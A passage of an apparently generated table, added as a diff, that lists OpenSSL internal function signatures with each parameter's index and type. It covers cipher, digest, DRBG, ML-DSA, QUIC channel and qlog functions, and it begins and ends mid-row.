*) | | ossl_ml_dsa_poly_expand_mask | 2 | size_t | +| (POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *) | | ossl_ml_dsa_poly_expand_mask | 3 | uint32_t | +| (POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *) | | ossl_ml_dsa_poly_expand_mask | 4 | EVP_MD_CTX * | +| (POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *) | | ossl_ml_dsa_poly_expand_mask | 5 | const EVP_MD * | +| (PROFESSION_INFO *) | | PROFESSION_INFO_free | 0 | PROFESSION_INFO * | +| (PROFESSION_INFO **,const unsigned char **,long) | | d2i_PROFESSION_INFO | 0 | PROFESSION_INFO ** | +| (PROFESSION_INFO **,const unsigned char **,long) | | d2i_PROFESSION_INFO | 1 | const unsigned char ** | +| (PROFESSION_INFO **,const unsigned char **,long) | | d2i_PROFESSION_INFO | 2 | long | +| (PROFESSION_INFO *,ASN1_OCTET_STRING *) | | PROFESSION_INFO_set0_addProfessionInfo | 0 | PROFESSION_INFO * | +| (PROFESSION_INFO *,ASN1_OCTET_STRING *) | | PROFESSION_INFO_set0_addProfessionInfo | 1 | ASN1_OCTET_STRING * | +| (PROFESSION_INFO *,ASN1_PRINTABLESTRING *) | | PROFESSION_INFO_set0_registrationNumber | 0 | PROFESSION_INFO * | +| (PROFESSION_INFO *,ASN1_PRINTABLESTRING *) | | PROFESSION_INFO_set0_registrationNumber | 1 | ASN1_PRINTABLESTRING * | +| (PROFESSION_INFO *,NAMING_AUTHORITY *) | | PROFESSION_INFO_set0_namingAuthority | 0 | PROFESSION_INFO * | +| (PROFESSION_INFO *,NAMING_AUTHORITY *) | | PROFESSION_INFO_set0_namingAuthority | 1 | NAMING_AUTHORITY * | +| (PROFESSION_INFO *,stack_st_ASN1_OBJECT *) | | PROFESSION_INFO_set0_professionOIDs | 0 | PROFESSION_INFO * | +| (PROFESSION_INFO *,stack_st_ASN1_OBJECT *) | | PROFESSION_INFO_set0_professionOIDs | 1 | stack_st_ASN1_OBJECT * | +| (PROFESSION_INFO *,stack_st_ASN1_STRING *) | | PROFESSION_INFO_set0_professionItems | 0 | PROFESSION_INFO * | +| (PROFESSION_INFO *,stack_st_ASN1_STRING *) | | PROFESSION_INFO_set0_professionItems | 1 | stack_st_ASN1_STRING * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_decrypt | 0 | PROV_CCM_CTX * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_decrypt | 1 | const unsigned char * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_decrypt | 2 | unsigned char * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_decrypt | 3 | size_t | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_decrypt | 4 | unsigned char * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_decrypt | 5 | size_t | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_encrypt | 0 | PROV_CCM_CTX * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_encrypt | 1 | const unsigned char * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_encrypt | 2 | unsigned char * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_encrypt | 3 | size_t | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_encrypt | 4 | unsigned char * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_encrypt | 5 | size_t | +| (PROV_CCM_CTX *,size_t,const PROV_CCM_HW *) | | ossl_ccm_initctx | 0 | PROV_CCM_CTX * | +| (PROV_CCM_CTX *,size_t,const PROV_CCM_HW *) | | ossl_ccm_initctx | 1 | size_t | +| (PROV_CCM_CTX *,size_t,const PROV_CCM_HW *) | | ossl_ccm_initctx | 2 | const PROV_CCM_HW * | +| (PROV_CIPHER *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_prov_cipher_load_from_params | 0 | PROV_CIPHER * | +| (PROV_CIPHER *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_prov_cipher_load_from_params | 1 | const OSSL_PARAM[] | +| (PROV_CIPHER *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_prov_cipher_load_from_params | 2 | OSSL_LIB_CTX * | +| (PROV_CIPHER *,const PROV_CIPHER *) | | ossl_prov_cipher_copy | 0 | PROV_CIPHER * | +| (PROV_CIPHER *,const PROV_CIPHER *) | | ossl_prov_cipher_copy | 1 | const PROV_CIPHER * | +| (PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *) | | ossl_cipher_hw_tdes_copyctx | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *) | | ossl_cipher_hw_tdes_copyctx | 1 | const PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 1 | const unsigned char * | +| (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | size_t | +| (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 1 | const unsigned char * | +| (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cbc | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cbc | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cbc | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cbc | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb8 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb8 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb8 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb8 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb128 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb128 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb128 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_cfb128 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_ofb128 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_ofb128 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_ofb128 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_chunked_ofb128 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cbc | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cbc | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cbc | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cbc | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb1 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb1 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb1 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb1 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb8 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb8 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb8 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb8 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb128 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb128 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb128 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb128 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ctr | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ctr | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ctr | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ctr | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ofb128 | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ofb128 | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ofb128 | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ofb128 | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_cbc | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_cbc | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_cbc | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_cbc | 3 | size_t | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ecb | 0 | PROV_CIPHER_CTX * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ecb | 1 | unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ecb | 2 | const unsigned char * | +| (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ecb | 3 | size_t | +| (PROV_CTX *) | | ossl_prov_ctx_get0_core_bio_method | 0 | PROV_CTX * | +| (PROV_CTX *) | | ossl_prov_ctx_get0_core_get_params | 0 | PROV_CTX * | +| (PROV_CTX *) | | ossl_prov_ctx_get0_handle | 0 | PROV_CTX * | +| (PROV_CTX *) | | ossl_prov_ctx_get0_libctx | 0 | PROV_CTX * | +| (PROV_CTX *,BIO_METHOD *) | | ossl_prov_ctx_set0_core_bio_method | 0 | PROV_CTX * | +| (PROV_CTX *,BIO_METHOD *) | | ossl_prov_ctx_set0_core_bio_method | 1 | BIO_METHOD * | +| (PROV_CTX *,OSSL_CORE_BIO *) | | ossl_bio_new_from_core_bio | 0 | PROV_CTX * | +| (PROV_CTX *,OSSL_CORE_BIO *) | | ossl_bio_new_from_core_bio | 1 | OSSL_CORE_BIO * | +| (PROV_CTX *,OSSL_FUNC_core_get_params_fn *) | | ossl_prov_ctx_set0_core_get_params | 0 | PROV_CTX * | +| (PROV_CTX *,OSSL_FUNC_core_get_params_fn *) | | ossl_prov_ctx_set0_core_get_params | 1 | OSSL_FUNC_core_get_params_fn * | +| (PROV_CTX *,OSSL_LIB_CTX *) | | ossl_prov_ctx_set0_libctx | 0 | PROV_CTX * | +| (PROV_CTX *,OSSL_LIB_CTX *) | | ossl_prov_ctx_set0_libctx | 1 | OSSL_LIB_CTX * | +| (PROV_CTX *,const OSSL_CORE_HANDLE *) | | ossl_prov_ctx_set0_handle | 0 | PROV_CTX * | +| (PROV_CTX *,const OSSL_CORE_HANDLE *) | | ossl_prov_ctx_set0_handle | 1 | const OSSL_CORE_HANDLE * | +| (PROV_CTX *,const char *,const char *) | | ossl_prov_ctx_get_param | 0 | PROV_CTX * | +| (PROV_CTX *,const char *,const char *) | | ossl_prov_ctx_get_param | 1 | const char * | +| (PROV_CTX *,const char *,const char *) | | ossl_prov_ctx_get_param | 2 | const char * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 0 | PROV_CTX * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 1 | const char * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 2 | int | +| (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 0 | PROV_CTX * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 1 | const char * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 2 | int | +| (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 0 | PROV_CTX * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 1 | const char * | +| (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 2 | int | +| (PROV_DIGEST *,EVP_MD *) | | ossl_prov_digest_set_md | 0 | PROV_DIGEST * | +| (PROV_DIGEST *,EVP_MD *) | | ossl_prov_digest_set_md | 1 | EVP_MD * | +| (PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *) | | ossl_prov_digest_fetch | 0 | PROV_DIGEST * | +| (PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *) | | ossl_prov_digest_fetch | 1 | OSSL_LIB_CTX * | +| (PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *) | | ossl_prov_digest_fetch | 2 | const char * | +| (PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *) | | ossl_prov_digest_fetch | 3 | const char * | +| (PROV_DIGEST *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_prov_digest_load_from_params | 0 | PROV_DIGEST * | +| (PROV_DIGEST *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_prov_digest_load_from_params | 1 | const OSSL_PARAM[] | +| (PROV_DIGEST *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_prov_digest_load_from_params | 2 | OSSL_LIB_CTX * | +| (PROV_DIGEST *,const PROV_DIGEST *) | | ossl_prov_digest_copy | 0 | PROV_DIGEST * | +| (PROV_DIGEST *,const PROV_DIGEST *) | | ossl_prov_digest_copy | 1 | const PROV_DIGEST * | +| (PROV_DRBG *,OSSL_PARAM[]) | | ossl_drbg_get_ctx_params | 0 | PROV_DRBG * | +| (PROV_DRBG *,OSSL_PARAM[]) | | ossl_drbg_get_ctx_params | 1 | OSSL_PARAM[] | +| (PROV_DRBG *,OSSL_PARAM[],int *) | | ossl_drbg_get_ctx_params_no_lock | 0 | PROV_DRBG * | +| (PROV_DRBG *,OSSL_PARAM[],int *) | | ossl_drbg_get_ctx_params_no_lock | 1 | OSSL_PARAM[] | +| (PROV_DRBG *,OSSL_PARAM[],int *) | | ossl_drbg_get_ctx_params_no_lock | 2 | int * | +| (PROV_DRBG *,const OSSL_PARAM[]) | | ossl_drbg_set_ctx_params | 0 | PROV_DRBG * | +| (PROV_DRBG *,const OSSL_PARAM[]) | | ossl_drbg_set_ctx_params | 1 | const OSSL_PARAM[] | +| (PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t) | | ossl_drbg_hmac_generate | 0 | PROV_DRBG_HMAC * | +| (PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t) | | ossl_drbg_hmac_generate | 1 | unsigned char * | +| (PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t) | | ossl_drbg_hmac_generate | 2 | size_t | +| (PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t) | | ossl_drbg_hmac_generate | 3 | const unsigned char * | +| (PROV_DRBG_HMAC *,unsigned char *,size_t,const unsigned char *,size_t) | | ossl_drbg_hmac_generate | 4 | size_t | +| (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 0 | PROV_GCM_CTX * | +| (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 1 | const unsigned char * | +| (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | size_t | +| (PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *) | | ossl_gcm_cipher_update | 0 | PROV_GCM_CTX * | +| (PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *) | | ossl_gcm_cipher_update | 1 | const unsigned char * | +| (PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *) | | ossl_gcm_cipher_update | 2 | size_t | +| (PROV_GCM_CTX *,const unsigned char *,size_t,unsigned char *) | | ossl_gcm_cipher_update | 3 | unsigned char * | +| (PROXY_CERT_INFO_EXTENSION *) | | PROXY_CERT_INFO_EXTENSION_free | 0 | PROXY_CERT_INFO_EXTENSION * | +| (PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long) | | d2i_PROXY_CERT_INFO_EXTENSION | 0 | PROXY_CERT_INFO_EXTENSION ** | +| (PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long) | | d2i_PROXY_CERT_INFO_EXTENSION | 1 | const unsigned char ** | +| (PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long) | | d2i_PROXY_CERT_INFO_EXTENSION | 2 | long | +| (PROXY_POLICY *) | | PROXY_POLICY_free | 0 | PROXY_POLICY * | +| (PROXY_POLICY **,const unsigned char **,long) | | d2i_PROXY_POLICY | 0 | PROXY_POLICY ** | +| (PROXY_POLICY **,const unsigned char **,long) | | d2i_PROXY_POLICY | 1 | const unsigned char ** | +| (PROXY_POLICY **,const unsigned char **,long) | | d2i_PROXY_POLICY | 2 | long | +| (QLOG *,BIO *) | | ossl_qlog_set_sink_bio | 0 | QLOG * | +| (QLOG *,BIO *) | | ossl_qlog_set_sink_bio | 1 | BIO * | +| (QLOG *,OSSL_TIME) | | ossl_qlog_override_time | 0 | QLOG * | +| (QLOG *,OSSL_TIME) | | ossl_qlog_override_time | 1 | OSSL_TIME | +| (QLOG *,uint32_t) | | ossl_qlog_enabled | 0 | QLOG * | +| (QLOG *,uint32_t) | | ossl_qlog_enabled | 1 | uint32_t | +| (QLOG *,uint32_t,const char *,const char *,const char *) | | ossl_qlog_event_try_begin | 0 | QLOG * | +| (QLOG *,uint32_t,const char *,const char *,const char *) | | ossl_qlog_event_try_begin | 1 | uint32_t | +| (QLOG *,uint32_t,const char *,const char *,const char *) | | ossl_qlog_event_try_begin | 2 | const char * | +| (QLOG *,uint32_t,const char *,const char *,const char *) | | ossl_qlog_event_try_begin | 3 | const char * | +| (QLOG *,uint32_t,const char *,const char *,const char *) | | ossl_qlog_event_try_begin | 4 | const char * | +| (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 0 | QLOG * | +| (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 1 | uint32_t | +| (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | int | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *) | | ossl_quic_cfq_mark_tx | 0 | QUIC_CFQ * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *) | | ossl_quic_cfq_mark_tx | 1 | QUIC_CFQ_ITEM * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *) | | ossl_quic_cfq_release | 0 | QUIC_CFQ * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *) | | ossl_quic_cfq_release | 1 | QUIC_CFQ_ITEM * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *,uint32_t) | | ossl_quic_cfq_mark_lost | 0 | QUIC_CFQ * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *,uint32_t) | | ossl_quic_cfq_mark_lost | 1 | QUIC_CFQ_ITEM * | +| (QUIC_CFQ *,QUIC_CFQ_ITEM *,uint32_t) | | ossl_quic_cfq_mark_lost | 2 | uint32_t | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get0_demux | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get0_engine | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get0_port | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get0_ssl | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get0_tls | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get_diag_num_rx_ack | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get_qsm | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get_short_header_conn_id_len | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_get_statm | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_init | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *) | | ossl_quic_channel_net_error | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,BIO_ADDR *) | | ossl_quic_channel_get_peer_addr | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,BIO_ADDR *) | | ossl_quic_channel_get_peer_addr | 1 | BIO_ADDR * | +| (QUIC_CHANNEL *,OSSL_QRX *) | | ossl_quic_channel_bind_qrx | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,OSSL_QRX *) | | ossl_quic_channel_bind_qrx | 1 | OSSL_QRX * | +| (QUIC_CHANNEL *,OSSL_QRX_PKT *) | | ossl_quic_handle_frames | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,OSSL_QRX_PKT *) | | ossl_quic_handle_frames | 1 | OSSL_QRX_PKT * | +| (QUIC_CHANNEL *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_channel_on_new_conn_id | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_channel_on_new_conn_id | 1 | OSSL_QUIC_FRAME_NEW_CONN_ID * | +| (QUIC_CHANNEL *,QUIC_CONN_ID *) | | ossl_quic_channel_get_diag_local_cid | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,QUIC_CONN_ID *) | | ossl_quic_channel_get_diag_local_cid | 1 | QUIC_CONN_ID * | +| (QUIC_CHANNEL *,QUIC_STREAM *) | | ossl_quic_channel_reject_stream | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,QUIC_STREAM *) | | ossl_quic_channel_reject_stream | 1 | QUIC_STREAM * | +| (QUIC_CHANNEL *,QUIC_TICK_RESULT *,uint32_t) | | ossl_quic_channel_subtick | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,QUIC_TICK_RESULT *,uint32_t) | | ossl_quic_channel_subtick | 1 | QUIC_TICK_RESULT * | +| (QUIC_CHANNEL *,QUIC_TICK_RESULT *,uint32_t) | | ossl_quic_channel_subtick | 2 | uint32_t | +| (QUIC_CHANNEL *,const BIO_ADDR *) | | ossl_quic_channel_set_peer_addr | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,const BIO_ADDR *) | | ossl_quic_channel_set_peer_addr | 1 | const BIO_ADDR * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_channel_on_new_conn | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_channel_on_new_conn | 1 | const BIO_ADDR * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_channel_on_new_conn | 2 | const QUIC_CONN_ID * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_channel_on_new_conn | 3 | const QUIC_CONN_ID * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_bind_channel | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_bind_channel | 1 | const BIO_ADDR * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_bind_channel | 2 | const QUIC_CONN_ID * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_bind_channel | 3 | const QUIC_CONN_ID * | +| (QUIC_CHANNEL *,const BIO_ADDR *,const QUIC_CONN_ID *,const QUIC_CONN_ID *,const QUIC_CONN_ID *) | | ossl_quic_bind_channel | 4 | const QUIC_CONN_ID * | +| (QUIC_CHANNEL *,const QUIC_CONN_ID *) | | ossl_quic_channel_replace_local_cid | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,const QUIC_CONN_ID *) | | ossl_quic_channel_replace_local_cid | 1 | const QUIC_CONN_ID * | +| (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | int | +| (QUIC_CHANNEL *,int,uint64_t) | | ossl_quic_channel_set_incoming_stream_auto_reject | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,int,uint64_t) | | ossl_quic_channel_set_incoming_stream_auto_reject | 1 | int | +| (QUIC_CHANNEL *,int,uint64_t) | | ossl_quic_channel_set_incoming_stream_auto_reject | 2 | uint64_t | +| (QUIC_CHANNEL *,ossl_msg_cb,SSL *) | | ossl_quic_channel_set_msg_callback | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,ossl_msg_cb,SSL *) | | ossl_quic_channel_set_msg_callback | 1 | ossl_msg_cb | +| (QUIC_CHANNEL *,ossl_msg_cb,SSL *) | | ossl_quic_channel_set_msg_callback | 2 | SSL * | +| (QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_quic_channel_set_mutator | 0 | QUIC_CHANNEL * | +| (QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_quic_channel_set_mutator | 1 | ossl_mutate_packet_cb | +| (QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_quic_channel_set_mutator | 2 | ossl_finish_mutate_cb | +| (QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_quic_channel_set_mutator | 3 | void * | +| (QUIC_CHANNEL 